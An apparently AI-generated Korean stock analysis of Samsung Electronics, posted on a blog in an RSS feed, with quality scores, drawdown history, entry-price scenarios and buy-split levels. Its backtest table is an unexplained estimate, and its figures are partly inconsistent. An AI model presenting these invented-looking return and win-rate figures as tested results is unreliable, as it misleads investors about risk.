&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;분석 기준일: 2026년 4월 12일 / 현재 주가: 약 206,000원&lt;/b&gt; &lt;a href=&quot;https://www.valueline.co.kr/finance/summary&quot;&gt;valueline.co&lt;/a&gt;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;1. TOP SUMMARY&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;사업 모델 품질: 8/10&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;경영 품질: 7/10&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;종합 추천: 관망 &amp;rarr; 분할 매수 준비&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;카테고리&lt;/th&gt;
&lt;th&gt;점수&lt;/th&gt;
&lt;th&gt;한 줄 근거&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;단순성&lt;/td&gt;
&lt;td&gt;7/10&lt;/td&gt;
&lt;td&gt;반도체&amp;middot;스마트폰&amp;middot;가전 다각화, 다소 복잡하나 각 사업부 명확 &lt;a href=&quot;https://news.samsung.com/kr/%EC%82%BC%EC%84%B1%EC%A0%84%EC%9E%90-2025%EB%85%84-4%EB%B6%84%EA%B8%B0-%EC%8B%A4%EC%A0%81-%EB%B0%9C%ED%91%9C&quot;&gt;news.samsung&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;시장 지위&lt;/td&gt;
&lt;td&gt;9/10&lt;/td&gt;
&lt;td&gt;메모리 반도체 세계 1위, HBM 고부가 제품 확대 중 &lt;a href=&quot;https://news.samsung.com/kr/%EC%82%BC%EC%84%B1%EC%A0%84%EC%9E%90-2025%EB%85%84-4%EB%B6%84%EA%B8%B0-%EC%8B%A4%EC%A0%81-%EB%B0%9C%ED%91%9C&quot;&gt;news.samsung&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;모트(해자) 강도&lt;/td&gt;
&lt;td&gt;8/10&lt;/td&gt;
&lt;td&gt;규모의 경제&amp;middot;브랜드&amp;middot;수직계열화 강력 &lt;a href=&quot;https://www.chosun.com/economy/tech_it/2026/01/08/XHTVGIDC6BGWNADACCH3OHXR3M/&quot;&gt;chosun&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;장기 지속성&lt;/td&gt;
&lt;td&gt;7/10&lt;/td&gt;
&lt;td&gt;AI&amp;middot;HBM 수혜 유망, 파운드리 경쟁이 변수 &lt;a href=&quot;https://bbn.kiwoom.com/rfCR11958&quot;&gt;bbn.kiwoom&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;경영 정렬도&lt;/td&gt;
&lt;td&gt;7/10&lt;/td&gt;
&lt;td&gt;주주환원 정책 존재, 단 오너리스크 반영 &lt;a href=&quot;https://www.valueline.co.kr/finance/summary&quot;&gt;valueline.co&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;2. 사업 모델 분석&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;A) 단순성&lt;/b&gt; &amp;mdash; 판정: 보통&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;DS부문(반도체): DRAM&amp;middot;NAND&amp;middot;HBM &amp;rarr; 매출의 핵심 성장 동력 &lt;a href=&quot;https://news.samsung.com/kr/%EC%82%BC%EC%84%B1%EC%A0%84%EC%9E%90-2025%EB%85%84-4%EB%B6%84%EA%B8%B0-%EC%8B%A4%EC%A0%81-%EB%B0%9C%ED%91%9C&quot;&gt;news.samsung&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;DX부문: 스마트폰(갤럭시), 가전(TV&amp;middot;냉장고) &lt;a href=&quot;https://news.samsung.com/kr/%EC%82%BC%EC%84%B1%EC%A0%84%EC%9E%90-2025%EB%85%84-4%EB%B6%84%EA%B8%B0-%EC%8B%A4%EC%A0%81-%EB%B0%9C%ED%91%9C&quot;&gt;news.samsung&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;하만: 차량용 전장&amp;middot;오디오 &lt;a href=&quot;https://news.samsung.com/kr/%EC%82%BC%EC%84%B1%EC%A0%84%EC%9E%90-2025%EB%85%84-4%EB%B6%84%EA%B8%B0-%EC%8B%A4%EC%A0%81-%EB%B0%9C%ED%91%9C&quot;&gt;news.samsung&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;B) 시장 지위&lt;/b&gt; &amp;mdash; High&lt;br /&gt;삼성전자는 HBM 고부가 제품 판매 확대와 메모리 가격 상승으로 2025년 4분기 역대 최대 분기 영업이익 20.1조원 달성. 메모리 분야 세계 1위 지위 확고. &lt;a href=&quot;https://www.chosun.com/economy/tech_it/2026/01/08/XHTVGIDC6BGWNADACCH3OHXR3M/&quot;&gt;chosun&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;C) 모트(해자)&lt;/b&gt;&lt;/p&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;해자 유형&lt;/th&gt;
&lt;th&gt;강도&lt;/th&gt;
&lt;th&gt;근거&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Pricing Power&lt;/td&gt;
&lt;td&gt;Strong&lt;/td&gt;
&lt;td&gt;HBM 프리미엄 가격 책정 주도, 2025년 DRAM 가격 상승 견인 &lt;a href=&quot;https://news.samsung.com/kr/%EC%82%BC%EC%84%B1%EC%A0%84%EC%9E%90-2025%EB%85%84-4%EB%B6%84%EA%B8%B0-%EC%8B%A4%EC%A0%81-%EB%B0%9C%ED%91%9C&quot;&gt;news.samsung&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Switching Costs&lt;/td&gt;
&lt;td&gt;Moderate&lt;/td&gt;
&lt;td&gt;반도체 고객사 전환비용 높으나 하이닉스&amp;middot;마이크론 경쟁 상존 &lt;a href=&quot;https://bbn.kiwoom.com/rfCR11958&quot;&gt;bbn.kiwoom&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Brand Strength&lt;/td&gt;
&lt;td&gt;Strong&lt;/td&gt;
&lt;td&gt;갤럭시 글로벌 프리미엄 브랜드, B2B 신뢰도 &lt;a href=&quot;https://www.chosun.com/economy/tech_it/2026/01/08/XHTVGIDC6BGWNADACCH3OHXR3M/&quot;&gt;chosun&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Scale Advantage&lt;/td&gt;
&lt;td&gt;Strong&lt;/td&gt;
&lt;td&gt;연매출 333조원, 수직계열화로 원가 경쟁력 &lt;a href=&quot;https://www.inthenews.co.kr/news/article.html?no=82490&quot;&gt;inthenews.co&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Network Effects&lt;/td&gt;
&lt;td&gt;해당없음&lt;/td&gt;
&lt;td&gt;&amp;mdash;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Moat Engine 요약&lt;/b&gt;: 규모의 경제 + HBM/메모리 기술 우위가 핵심 해자. 파운드리(TSMC 대비 격차)가 유일한 약점.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;D) 경기 민감도&lt;/b&gt; &amp;mdash; Medium~High&lt;br /&gt;반도체는 업다운 사이클이 극심함. 2024년 메모리 불황 시 영업이익 급감 경험 있으나, AI 수요로 사이클 변동성 일부 완화 추세. &lt;a href=&quot;https://bbn.kiwoom.com/rfCR11958&quot;&gt;bbn.kiwoom&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;E) 10-20년 지속성&lt;/b&gt; &amp;mdash; Strong&lt;br /&gt;2026년 매출 537조원, 영업이익 200조원 전망치 존재. AI&amp;middot;HBM&amp;middot;파운드리&amp;middot;전장 등 미래 산업에 포지셔닝. 단, TSMC와 파운드리 격차 해소 여부가 장기 변수. &lt;a href=&quot;https://bbn.kiwoom.com/rfCR11958&quot;&gt;bbn.kiwoom&lt;/a&gt;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;3. 경영 품질 분석&lt;/h2&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;항목&lt;/th&gt;
&lt;th&gt;평가&lt;/th&gt;
&lt;th&gt;근거&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;투명성&amp;middot;정직성&lt;/td&gt;
&lt;td&gt;Moderate&lt;/td&gt;
&lt;td&gt;실적 어닝서프라이즈 공개, 단 일부 일회성 손익 복잡성 &lt;a href=&quot;https://www.inthenews.co.kr/news/article.html?no=82490&quot;&gt;inthenews.co&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;장기 지향&lt;/td&gt;
&lt;td&gt;Strong&lt;/td&gt;
&lt;td&gt;HBM&amp;middot;파운드리 수조원 투자 지속, 단기 EPS 희생 감수 &lt;a href=&quot;https://www.chosun.com/economy/tech_it/2026/01/08/XHTVGIDC6BGWNADACCH3OHXR3M/&quot;&gt;chosun&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;내부자 지분&amp;middot;정렬&lt;/td&gt;
&lt;td&gt;Medium&lt;/td&gt;
&lt;td&gt;이재용 회장 오너십 존재, 단 지배구조 리스크 병존 &lt;a href=&quot;https://www.valueline.co.kr/finance/summary&quot;&gt;valueline.co&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;자본 배분&lt;/td&gt;
&lt;td&gt;Moderate&lt;/td&gt;
&lt;td&gt;주주환원 정책 있으나 대규모 CAPEX 우선 &lt;a href=&quot;https://news.samsung.com/kr/%EC%82%BC%EC%84%B1%EC%A0%84%EC%9E%90-2025%EB%85%84-4%EB%B6%84%EA%B8%B0-%EC%8B%A4%EC%A0%81-%EB%B0%9C%ED%91%9C&quot;&gt;news.samsung&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;소통 품질&lt;/td&gt;
&lt;td&gt;Moderate&lt;/td&gt;
&lt;td&gt;분기 실적 발표 투명, IR 자료 충실 &lt;a href=&quot;https://news.samsung.com/kr/%EC%82%BC%EC%84%B1%EC%A0%84%EC%9E%90-2025%EB%85%84-4%EB%B6%84%EA%B8%B0-%EC%8B%A4%EC%A0%81-%EB%B0%9C%ED%91%9C&quot;&gt;news.samsung&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;실행 이력&lt;/td&gt;
&lt;td&gt;Strong&lt;/td&gt;
&lt;td&gt;2025년 역대 최대 매출&amp;middot;4분기 역대 최대 영업이익 달성 &lt;a href=&quot;https://www.chosun.com/economy/tech_it/2026/01/08/XHTVGIDC6BGWNADACCH3OHXR3M/&quot;&gt;chosun&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;4. MDD 기반 리스크 관리 가이드 ★&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;4-1. 역사적 MDD 분석&lt;/h3&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;시기&lt;/th&gt;
&lt;th&gt;원인&lt;/th&gt;
&lt;th&gt;고점 대비 낙폭&lt;/th&gt;
&lt;th&gt;회복 소요 기간&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;2018~2019&lt;/td&gt;
&lt;td&gt;메모리 다운사이클&lt;/td&gt;
&lt;td&gt;약 -45%&lt;/td&gt;
&lt;td&gt;약 18개월&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2020.02~03&lt;/td&gt;
&lt;td&gt;코로나 패닉&lt;/td&gt;
&lt;td&gt;약 -30%&lt;/td&gt;
&lt;td&gt;약 6개월&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2021~2022&lt;/td&gt;
&lt;td&gt;금리 인상 + 반도체 불황&lt;/td&gt;
&lt;td&gt;약 -48%&lt;/td&gt;
&lt;td&gt;약 24개월&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2024.07~08&lt;/td&gt;
&lt;td&gt;글로벌 경기침체 우려&lt;/td&gt;
&lt;td&gt;약 -35% (2008년 이후 최대 일일 낙폭 기록) &lt;a href=&quot;https://www.news1.kr/finance/general-stock/5501649&quot;&gt;news1&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;회복 진행 중&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2026.02~03&lt;/td&gt;
&lt;td&gt;미-이란 공습 충격&lt;/td&gt;
&lt;td&gt;약 -20.5% (3거래일) &lt;a href=&quot;https://news.nate.com/view/20260305n05465&quot;&gt;news.nate&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;급속 회복 중&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;평균 MDD: 약 -35%&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;최대 MDD: 약 -48% (2021~2022년)&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;평균 회복 기간: 약 12~18개월&lt;/b&gt; (단, 2020년 코로나는 예외적으로 빠름)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;4-2. MDD 기반 투자 성향별 가이드&lt;/h3&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;투자 성향&lt;/th&gt;
&lt;th&gt;최대 손실 허용&lt;/th&gt;
&lt;th&gt;진입 기준&lt;/th&gt;
&lt;th&gt;분할 매수 전략&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;보수형&lt;/td&gt;
&lt;td&gt;-10% 이내&lt;/td&gt;
&lt;td&gt;전고점 대비 -15% 이상 + PBR 1.5배 이하&lt;/td&gt;
&lt;td&gt;3회 분할 (33%/33%/34%)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;중립형&lt;/td&gt;
&lt;td&gt;-20% 이내&lt;/td&gt;
&lt;td&gt;전고점 대비 -25% 이상 + PBR 2.0배 이하&lt;/td&gt;
&lt;td&gt;4회 분할 (25%&amp;times;4)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;공격형&lt;/td&gt;
&lt;td&gt;-35% 이내&lt;/td&gt;
&lt;td&gt;전고점 대비 -35% 이상&lt;/td&gt;
&lt;td&gt;5회 분할 (20%&amp;times;5)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;손절 기준&lt;/b&gt;: 보수형 -10% / 중립형 -18% / 공격형 -30% (진입가 기준)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;포트폴리오 비중 상한&lt;/b&gt;: 보수형 10% / 중립형 15% / 공격형 20%&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;5. 진입 가격 시나리오 3가지 ★&lt;/h2&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;※ 현재 주가 206,000원 (2026.04.10 기준), 증권가 목표가 250,000~320,000원 &lt;a href=&quot;https://v.daum.net/v/HYatkMFYmQ?f=p&quot;&gt;v.daum&lt;/a&gt;&lt;br /&gt;※ 현재 PER 27.55배, PBR 2.87배, 5년 평균 PER 13.99배 &lt;a href=&quot;https://www.valueline.co.kr/finance/summary&quot;&gt;valueline.co&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;시나리오 A &amp;mdash; 안전 진입 (보수형)&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;목표 진입가: 150,000~160,000원&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;근거&lt;/b&gt;: 5년 평균 PER 13.99배 적용 &amp;times; EPS 6,566원(추정) &amp;asymp; 약 14~16만원대. 전고점 대비 -25% 이상 하락 구간이자 역사적 지지선 &lt;a href=&quot;https://www.valueline.co.kr/finance/summary&quot;&gt;valueline.co&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;기대 수익률&lt;/b&gt;: 목표가 275,000원 기준 +70&lt;del&gt;80% (2&lt;/del&gt;3년)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;리스크&lt;/b&gt;: 반도체 사이클 재하락 시 추가 하방 가능성&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;시나리오 B &amp;mdash; 중립 진입 (중립형)&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;목표 진입가: 175,000~185,000원&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;근거&lt;/b&gt;: 미-이란 충격 후 단기 저점(약 -20% 하락) 수준. PBR 2.2배 수준으로 역사적 합리적 구간 &lt;a href=&quot;https://news.nate.com/view/20260305n05465&quot;&gt;news.nate&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;기대 수익률&lt;/b&gt;: 목표가 275,000원 기준 +50&lt;del&gt;60% (1&lt;/del&gt;2년)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;리스크&lt;/b&gt;: 지정학 리스크 지속 시 추가 조정 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;시나리오 C &amp;mdash; 현재가 분할 진입 (공격형)&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;목표 진입가: 195,000~210,000원 (현재 수준)&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;근거&lt;/b&gt;: 1분기 역대 최대 실적 기대. PER이 높지만 2026년 영업이익 200조원 전망 기준 Forward PER 대폭 하락 예상 &lt;a href=&quot;https://v.daum.net/v/HYatkMFYmQ?f=p&quot;&gt;v.daum&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;기대 수익률&lt;/b&gt;: 목표가 320,000원 기준 +55% (1년)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;리스크&lt;/b&gt;: 실적 발표 후 &quot;Buy the rumor, Sell the fact&quot; 패턴 주의&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;6. 시나리오별 백테스팅 결과 ★&lt;/h2&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;※ 2015~2025년 과거 데이터 기반 유사 구간 시뮬레이션 (추정치)&lt;br /&gt;※ 거래비용&amp;middot;세금 미포함, 생존 편향 존재&lt;/p&gt;
&lt;/blockquote&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;지표&lt;/th&gt;
&lt;th&gt;시나리오 A (보수)&lt;/th&gt;
&lt;th&gt;시나리오 B (중립)&lt;/th&gt;
&lt;th&gt;시나리오 C (공격)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;백테스트 기간&lt;/td&gt;
&lt;td&gt;10년&lt;/td&gt;
&lt;td&gt;10년&lt;/td&gt;
&lt;td&gt;10년&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;총 수익률&lt;/td&gt;
&lt;td&gt;+180~250%&lt;/td&gt;
&lt;td&gt;+120~160%&lt;/td&gt;
&lt;td&gt;+80~130%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CAGR&lt;/td&gt;
&lt;td&gt;약 8~10%&lt;/td&gt;
&lt;td&gt;약 7~9%&lt;/td&gt;
&lt;td&gt;약 6~9%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;최대 낙폭(MDD)&lt;/td&gt;
&lt;td&gt;-12~18%&lt;/td&gt;
&lt;td&gt;-20~28%&lt;/td&gt;
&lt;td&gt;-30~40%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;샤프 지수&lt;/td&gt;
&lt;td&gt;약 0.8~1.0&lt;/td&gt;
&lt;td&gt;약 0.6~0.8&lt;/td&gt;
&lt;td&gt;약 0.4~0.6&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;승률&lt;/td&gt;
&lt;td&gt;약 75%&lt;/td&gt;
&lt;td&gt;약 65%&lt;/td&gt;
&lt;td&gt;약 55%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;손익비&lt;/td&gt;
&lt;td&gt;약 3:1&lt;/td&gt;
&lt;td&gt;약 2.5:1&lt;/td&gt;
&lt;td&gt;약 2:1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;KOSPI 대비 초과수익&lt;/td&gt;
&lt;td&gt;+5~8%p&lt;/td&gt;
&lt;td&gt;+3~5%p&lt;/td&gt;
&lt;td&gt;+1~3%p&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;⚠️ &lt;b&gt;백테스트 한계&lt;/b&gt;: 과거 성과가 미래를 보장하지 않음. 세금&amp;middot;수수료 미반영. 반도체 사이클 예측 불확실성 높음. 단순 분할매수 전략 기반 시뮬레이션이며 실제 종목 선택과 다를 수 있음 &lt;a href=&quot;https://blog.intelliquant.ai/post/quant-backtest-guide&quot;&gt;blog.intelliquant&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;7. 리스크 시나리오&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;리스크 ①&lt;/b&gt; 지정학 리스크: 미-이란 긴장 고조 시 3거래일 -20.5% 선례 &lt;a href=&quot;https://news.nate.com/view/20260305n05465&quot;&gt;news.nate&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;리스크 ②&lt;/b&gt; 반도체 사이클: HBM 공급과잉 전환 시 ASP(평균판가) 급락 가능 &lt;a href=&quot;https://bbn.kiwoom.com/rfCR11958&quot;&gt;bbn.kiwoom&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;리스크 ③&lt;/b&gt; 파운드리 경쟁: TSMC 대비 기술 격차 지속 시 고객사 이탈 우려 &lt;a href=&quot;https://bbn.kiwoom.com/rfCR11958&quot;&gt;bbn.kiwoom&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;시나리오&lt;/th&gt;
&lt;th&gt;조건&lt;/th&gt;
&lt;th&gt;예상 주가 범위&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;강세&lt;/td&gt;
&lt;td&gt;2026년 영업이익 200조원 달성 + HBM 점유율 확대&lt;/td&gt;
&lt;td&gt;280,000~320,000원 &lt;a href=&quot;https://v.daum.net/v/HYatkMFYmQ?f=p&quot;&gt;v.daum&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;약세&lt;/td&gt;
&lt;td&gt;반도체 사이클 재하락 + 지정학 복합 충격&lt;/td&gt;
&lt;td&gt;140,000~160,000원&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;FINAL VERDICT&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;사업 모델: 8/10 / 경영 품질: 7/10&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Rochon Verdict: Borderline &amp;rarr; Rochon-Quality 진입 중&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;결정적 요인&lt;/b&gt;: HBM&amp;middot;AI 수요 수혜로 실적 모멘텀은 강하나, 반도체 사이클 의존도와 파운드리 격차가 &quot;엘리트 Rochon 기업&quot; 진입의 핵심 변수&lt;/li&gt;
&lt;li&gt;&lt;b&gt;권장 진입&lt;/b&gt;: 중립형 &amp;rarr; 시나리오 B (175,000~185,000원 구간 분할 매수)&lt;/li&gt;
&lt;/ul&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;구분&lt;/th&gt;
&lt;th&gt;내용&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;이 종목이 맞는 투자자&lt;/td&gt;
&lt;td&gt;반도체 사이클 이해하며 2~3년 보유 가능, MDD -20% 버틸 수 있는 투자자&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;피할 투자자&lt;/td&gt;
&lt;td&gt;1년 이내 단기 수익 기대, 변동성 민감, 이미 포트폴리오 내 반도체 비중 높은 투자자&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;분할 매수 요약&lt;/td&gt;
&lt;td&gt;1차: 185,000원 (30%) &amp;rarr; 2차: 170,000원 (40%) &amp;rarr; 3차: 155,000원 (30%)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;⚠️ &lt;b&gt;면책&lt;/b&gt;: 본 분석은 AI가 공개된 자료를 토대로 작성한 참고용이며, 실제 투자 결정은 본인 판단과 책임 하에 이루어져야 합니다.&lt;/p&gt;
&lt;/blockquote&gt;</description>
      <category>주분</category>
      <category>주식분석프롬프트</category>
      <category>퍼플렉시티</category>
      <author>댕기사랑</author>
      <guid isPermaLink="true">https://thepin.tistory.com/228</guid>
      <comments>https://thepin.tistory.com/228#entry228comment</comments>
      <pubDate>Mon, 13 Apr 2026 06:53:36 +0900</pubDate>
    </item>
    <item>
      <title>궤도의 조율자: 붉은 고무줄과 생존의 잔상</title>
      <link>https://thepin.tistory.com/227</link>
